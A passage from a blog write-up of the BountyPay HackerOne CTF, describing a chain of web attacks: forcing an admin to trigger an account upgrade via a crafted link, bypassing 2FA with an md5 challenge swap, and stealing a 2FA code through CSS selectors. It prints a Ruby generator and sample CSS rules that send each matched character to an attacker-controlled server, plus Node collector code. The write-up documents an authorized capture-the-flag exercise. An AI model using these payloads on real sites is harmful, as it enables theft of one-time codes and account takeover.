By setting a avatar with the &lt;code&gt;avatar_name&lt;/code&gt; input value  to &lt;code&gt;tab1 upgradeToAdmin&lt;/code&gt; and then accessing the hash we set in our &lt;code&gt;avatar_name&lt;/code&gt; directly &lt;a href="https://staff.bountypay.h1ctf.com/#tab1"&gt;https://staff.bountypay.h1ctf.com/#tab1&lt;/a&gt; this makes the &lt;code&gt;click&lt;/code&gt; event propagate, and it even makes the request for us since it fires off the &lt;code&gt;click&lt;/code&gt; event for &lt;code&gt;upgradeToAdmin&lt;/code&gt; however - we are missing something:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// upgradeToAdmin function 
let t = $('input[name="username"]').val();
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The function needs to grab the username from an input field, I knew I was on the right track because I could see the request to &lt;code&gt;/admin/upgrade?username=undefined&lt;/code&gt;. The &lt;code&gt;undefined&lt;/code&gt; happened because the function that triggered the request grabs the &lt;code&gt;username&lt;/code&gt; from an input field named &lt;code&gt;username&lt;/code&gt; which is no where in the application - or is it? &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;the event propagation surprised me and at first I didn't understand it but after debugging the jquery it hit me that since the location hash was being used to fire off a &lt;code&gt;click&lt;/code&gt; event the event propagation would make any class that was in the same element fire off any click events that were associated with that class and luckily for us the request we need to make is handled by a click event bound to a class - with our injection we can inject the class that starts the click event and then the class name that fires our get request&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  input[name='username'].val()
&lt;/h3&gt;

&lt;p&gt;This is the last part before we can send our admin a malicious link that will upgrade us, but how can we get that &lt;code&gt;username&lt;/code&gt; parameter? &lt;br&gt;
The only input with the &lt;code&gt;username&lt;/code&gt; value is the login page - I knew we had to include that page since there's no other way, and we know we are using templates because the route we are on is &lt;code&gt;/?template=home&lt;/code&gt; since we need to pull multiple templates I thought about array params - which even &lt;code&gt;hackerone&lt;/code&gt; uses and made the following request &lt;a href="https://staff.bountypay.h1ctf.com/?template%5B%5D=home&amp;amp;template%5B%5D=login"&gt;https://staff.bountypay.h1ctf.com/?template[]=home&amp;amp;template[]=login&lt;/a&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--FFd63fCd--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/60l36g9shbsvvr6hog1k.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--FFd63fCd--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/60l36g9shbsvvr6hog1k.png" alt="Alt Text" width="880" height="525"&gt;&lt;/a&gt;&lt;br&gt;
Building up from this we can change our payload slightly to fill in the &lt;code&gt;username&lt;/code&gt; and make sure we direct the admin to a page where our username will be seen since the only part of the application that is not in the &lt;code&gt;/template=home&lt;/code&gt; is the ticket where our username is available to the admin and we need to make sure the class we set is seen by the admin to trigger the attack so let's just send the admin there with our full payload:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://staff.bountypay.h1ctf.com/?template%5B%5D=login&amp;amp;username=sandra.allison&amp;amp;template%5B%5D=ticket&amp;amp;ticket_id=3582#tab2"&gt;https://staff.bountypay.h1ctf.com/?template[]=login&amp;amp;username=sandra.allison&amp;amp;template[]=ticket&amp;amp;ticket_id=3582#tab2&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This will take the admin to the ticket template but will also pull in the login template and use the input field with our username - now when the admin receives this payload it will trigger the attack, to do this we can send a report to &lt;code&gt;/admin/report?url=base64&lt;/code&gt; the &lt;code&gt;base64&lt;/code&gt; will be our payload since that includes our malicious link - now this will trigger the admin to make the upgrade request and we will become application admininstrator:&lt;/p&gt;

&lt;p&gt;Now all we need is to set the &lt;code&gt;avatar_name&lt;/code&gt; value to &lt;code&gt;tab2 upgrateToAdmin&lt;/code&gt; in the profile tab, submit the change, and then send the report to the admin:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://staff.bountypay.h1ctf.com/admin/report?url=Lz90ZW1wbGF0ZVtdPWxvZ2luJnVzZXJuYW1lPXNhbmRyYS5hbGxpc29uJnRlbXBsYXRlW109dGlja2V0JnRpY2tldF9pZD0zNTgyI3RhYjE="&gt;https://staff.bountypay.h1ctf.com/admin/report?url=Lz90ZW1wbGF0ZVtdPWxvZ2luJnVzZXJuYW1lPXNhbmRyYS5hbGxpc29uJnRlbXBsYXRlW109dGlja2V0JnRpY2tldF9pZD0zNTgyI3RhYjE=&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This request will trigger the &lt;code&gt;upgradeToAdmin&lt;/code&gt; from the admin's side - giving us admin rights!&lt;/p&gt;
&lt;h3&gt;
  
  
  Admin
&lt;/h3&gt;

&lt;p&gt;Now that we are admin there's a new tab! With the CEO's account and password (which he forgot - should have been admin:admin)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--m4JeNYYk--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/w4vp3rp71ilb3yi7lpvy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--m4JeNYYk--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/w4vp3rp71ilb3yi7lpvy.png" alt="Alt Text" width="584" height="428"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So what's left to do? Login of course! this account will work in &lt;a href="http://app.bountypay.h1ctf.com"&gt;app.bountypay.h1ctf.com&lt;/a&gt; - when you login you'll need to bypass the  &lt;code&gt;2FA&lt;/code&gt; again this time we don't have a used security code so just make one up &lt;code&gt;12345aBcDF= b3e2bc9cbb5e0b624816fa0ee19a7993&lt;/code&gt; exchange the &lt;code&gt;challenge&lt;/code&gt; value for the &lt;code&gt;md5&lt;/code&gt; hash and it should allow you to log in - now let's pay those hackers!&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--6Z90ncRu--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/bs3k39v4vosp9wfftgha.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--6Z90ncRu--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/bs3k39v4vosp9wfftgha.png" alt="Alt Text" width="880" height="153"&gt;&lt;/a&gt;&lt;br&gt;
If you try to use the &lt;code&gt;pay&lt;/code&gt; button you'll be redirected to...another 2FA - this one is not as easy as a &lt;code&gt;md5&lt;/code&gt; hash. Let's take a look at the &lt;code&gt;2FA&lt;/code&gt; page and html that we got to work with&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;...
&lt;span class="c"&gt;&amp;lt;!--important part --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"post"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"app_style"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"https://www.bountypay.h1ctf.com/css/uni_2fa_style.css"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This snippet caught my eye - they're sending the styling for what I believe is the &lt;code&gt;2FA&lt;/code&gt; application to grab the code - I replaced the css link and put a &lt;code&gt;burp&lt;/code&gt; collaborator link to see if I could get a response from wherever that request ended up at and...&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--JJHEKSSs--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/p1uw1p7oif3pomok7fc4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--JJHEKSSs--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/p1uw1p7oif3pomok7fc4.png" alt="Alt Text" width="880" height="211"&gt;&lt;/a&gt;&lt;br&gt;
Now we're talking - but this was done through a css link, also how in the f*** do I exfiltrate this with just css? &lt;/p&gt;

&lt;p&gt;One thing I noticed from the css that was originally there was the rules and comment from the css style made me think that I needed to steal a token from an application that looked like your typical &lt;code&gt;2FA&lt;/code&gt; app with multiple input fields: [][][][][][][]&lt;/p&gt;
&lt;h3&gt;
  
  
  css data exfiltration
&lt;/h3&gt;

&lt;p&gt;Who would I tell I'd be exfiltrating information using &lt;code&gt;css selectors&lt;/code&gt; - 2020 is a strange year. &lt;/p&gt;

&lt;p&gt;Realizing that was a posibility thanks to &lt;a href="https://twitter.com/d0nutptr"&gt;d0nut&lt;/a&gt; and the blog he wrote &lt;a href="https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b"&gt;here&lt;/a&gt;. I could technically add my own &lt;code&gt;css&lt;/code&gt; stylesheet by submitting one in a server I controlled - with this and some crafty payloads I was able to grab all the &lt;code&gt;inputs&lt;/code&gt; &lt;/p&gt;

&lt;p&gt;I was able to find the chars I needed by:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;hosting a css file with my payloads on a server I controlled (I used netlify since they give u a server in which you can host js, css files, and comes with a SSL cert)&lt;/li&gt;
&lt;li&gt;payloads were generated based on the criteria I needed

&lt;ul&gt;
&lt;li&gt;charset: [a-z][A-Z][0-9]&lt;/li&gt;
&lt;li&gt;7 characters (that's how many fit in the input field)&lt;/li&gt;
&lt;li&gt;Generated a list that would only execute the css rule each time a match was found, when the css selector would find a match it would execute the rule which in this case made a request to the &lt;code&gt;collaborator&lt;/code&gt; along with the match and the placement.&lt;/li&gt;
&lt;li&gt;burp helped since I attached the current character and place (based on the nth-of-type(n) selector)&lt;/li&gt;
&lt;li&gt;Example payload

&lt;ul&gt;
&lt;li&gt;input[value=a]:nth-of-type(1){background-image:url("&lt;a href="https://jl8b9zsipw6zj5g9q4f2kpvf369zxo.burpcollaborator.net.burpcollaborator.net/?a=A&amp;amp;i=1"&gt;https://hellothere.burpcollaborator.net.burpcollaborator.net?char=a&amp;amp;order=1&lt;/a&gt;");}&lt;/li&gt;
&lt;li&gt;if the css found that the first input had a value of &lt;code&gt;a&lt;/code&gt; I would get a callback to my collaborator instance with the character and it's index&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;I had about 400 css rules
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="c1"&gt;# creates a wordlist with css rules to find the auth code&lt;/span&gt;
&lt;span class="n"&gt;chars&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;to_a&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'A'&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="s1"&gt;'Z'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;to_a&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'a'&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="s1"&gt;'z'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;to_a&lt;/span&gt;

&lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"server/burp collaborator"&lt;/span&gt;

&lt;span class="n"&gt;server&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;gets&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;chomp&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;
    &lt;span class="n"&gt;chars&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;each&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;char&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
        &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;"input[value=&lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;char&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;]:nth-of-type(&lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;){background-image:url('&lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/?char=&lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;char&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;amp;index=&lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;');}"&lt;/span&gt;
    &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;This took...a few tries but finally I managed to grab the right code and....&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--xFdYC85g--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/np11v27u2cud0t5netd9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--xFdYC85g--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/np11v27u2cud0t5netd9.png" alt="Alt Text" width="880" height="451"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Automation
&lt;/h3&gt;

&lt;p&gt;After completing the CTF the next part is writing the report which is what this is, and for the final part - the proof of concept. In a good report there is always a &lt;code&gt;PoC&lt;/code&gt; or &lt;code&gt;proof of concept&lt;/code&gt;, this can be a bash script, curl command or in my case a &lt;code&gt;ruby&lt;/code&gt; script. Which shows the  triager how to execute the attack.&lt;/p&gt;

&lt;p&gt;[link to script]&lt;/p&gt;

&lt;p&gt;I chose ruby because I like it - I've been learning how to use it for the past year and it was fun implementing something like this in ruby. I used a few libraries like &lt;code&gt;httparty&lt;/code&gt; and &lt;code&gt;nakogiri&lt;/code&gt; to make requests and parse html, the flow of the script follows this reports, starting with the information disclosure in the logs and ending with getting the flag - the only harcoded value here is the &lt;code&gt;X-Token&lt;/code&gt; since I didn't know how to automate the android part, but the token is always the same. The script was a lot of fun to create but the most interesting part of this was automating the stealing of the last &lt;code&gt;2fa&lt;/code&gt; code by using &lt;code&gt;css selectors&lt;/code&gt;.&lt;/p&gt;
&lt;h4&gt;
  
  
  retrieving 2FA code
&lt;/h4&gt;

&lt;p&gt;In the report above we figured out that we could steal the &lt;code&gt;2FA&lt;/code&gt; code which allows us to pay the hackers, but automating this part seemed too hard for me so I thought I wouldn't do it, but after some ideas I figured out how to do it. Let's go over the attack again:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Send a request with a css stylesheet you can control&lt;/li&gt;
&lt;li&gt;Steal inputs

&lt;ul&gt;
&lt;li&gt;not all 7 inputs can be found all the time&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;submit the request with the &lt;code&gt;2fa&lt;/code&gt; code in under 2 minutes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We can solve the first 2 at the same time, I created a css style sheet and place it here &lt;code&gt;https://clever-payne-76dd96.netlify.app/payload.css&lt;/code&gt; this stylesheet has payloads like the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="nt"&gt;input&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="nd"&gt;:nth-of-type&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;background-image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="sx"&gt;url('https://patopirata.com/?data=0&amp;amp;index=1')&lt;/span&gt;&lt;span class="p"&gt;;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By using css selectors we can go over each character we need for our code and also go over all 7 input fields, since only the valid rules will execute our server will only get the inputs that can be found - this means that when we don't have 7 inputs we will need to redo the attack until we have them, but we also need a way to catch the requests that are generated by the inputs we find - for exploitation &lt;code&gt;burp collaborator&lt;/code&gt; worked but how can we automate this? &lt;/p&gt;

&lt;p&gt;To automate the retrieval of the &lt;code&gt;2fa&lt;/code&gt; code we need a server we control that can log the requests sent each time we perform the attack, fortunately I already had something written &lt;a href="https://gitlab.com/pirateducky/cors"&gt;here&lt;/a&gt; - this is a simple nodejs server that I was using to test some cors issues - but it's all set up and ready to go.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// get the items in the query from the css requests that are valid&lt;/span&gt;
&lt;span class="c1"&gt;// this step will give us all the inputs that got caught and their place &lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getCode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;code&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;query&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we need a way to put the code together and send the code when it's ready&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;replyCode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;code&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;one&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;two&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;three&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;four&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;five&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;six&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;seven&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;code&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;code&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;switch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
                &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;1&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="nx"&gt;one&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;
                &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;2&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="nx"&gt;two&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;
                &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;3&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="nx"&gt;three&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;
                &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;4&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="nx"&gt;four&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;
                &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;5&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="nx"&gt;five&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;
                &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;6&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="nx"&gt;six&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;
                &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;7&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="nx"&gt;seven&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;
                &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;})&lt;/span&gt;
        &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;full_code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;one&lt;/span&gt;&lt;span class="p"&gt;}${&lt;/span&gt;&lt;span class="nx"&gt;two&lt;/span&gt;&lt;span class="p"&gt;}${&lt;/span&gt;&lt;span class="nx"&gt;three&lt;/span&gt;&lt;span class="p"&gt;}${&lt;/span&gt;&lt;span class="nx"&gt;four&lt;/span&gt;&lt;span class="p"&gt;}${&lt;/span&gt;&lt;span class="nx"&gt;five&lt;/span&gt;&lt;span class="p"&gt;}${&lt;/span&gt;&lt;span class="nx"&gt;six&lt;/span&gt;&lt;span class="p"&gt;}${&lt;/span&gt;&lt;span class="nx"&gt;seven&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;
